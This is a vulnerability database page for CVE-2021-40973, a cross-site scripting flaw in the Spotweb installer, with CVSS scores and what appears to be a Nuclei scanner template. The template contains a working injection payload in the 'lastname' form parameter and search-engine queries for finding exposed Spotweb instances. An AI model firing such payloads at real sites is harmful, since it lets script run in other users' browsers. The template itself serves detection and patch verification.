CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
50.0%
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
id: CVE-2021-40973
info:
name: Spotweb <= 1.5.1 - Cross Site Scripting
author: theamanrawat
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 1.5.2
reference:
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40973
- https://github.com/spotweb/spotweb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-40973
cwe-id: CWE-79
epss-score: 0.00152
epss-percentile: 0.51404
cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: spotweb_project
product: spotweb
shodan-query:
- title:"SpotWeb - overview"
- http.title:"spotweb - overview"
fofa-query: title="spotweb - overview"
google-query: intitle:"spotweb - overview"
tags: cve2021,cve,xss,spotweb,spotweb_project
http:
- raw:
- |
POST /install.php?page=4 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
settingsform[lastname]=pdteam'+onclick='alert(document.domain)
matchers-condition: and
matchers:
- type: word
part: body
words:
- "onclick='alert(document.domain)"
- "Spotweb"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502201ca00d8be538bae205664cba3d1222a87b8e7d56e7cbe312ddc971211b8ee19f022100975a1b10d19af5af7b24c6ab170f34bdaa5856ac7075aaffad8997b7cdfbb09e:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
50.0%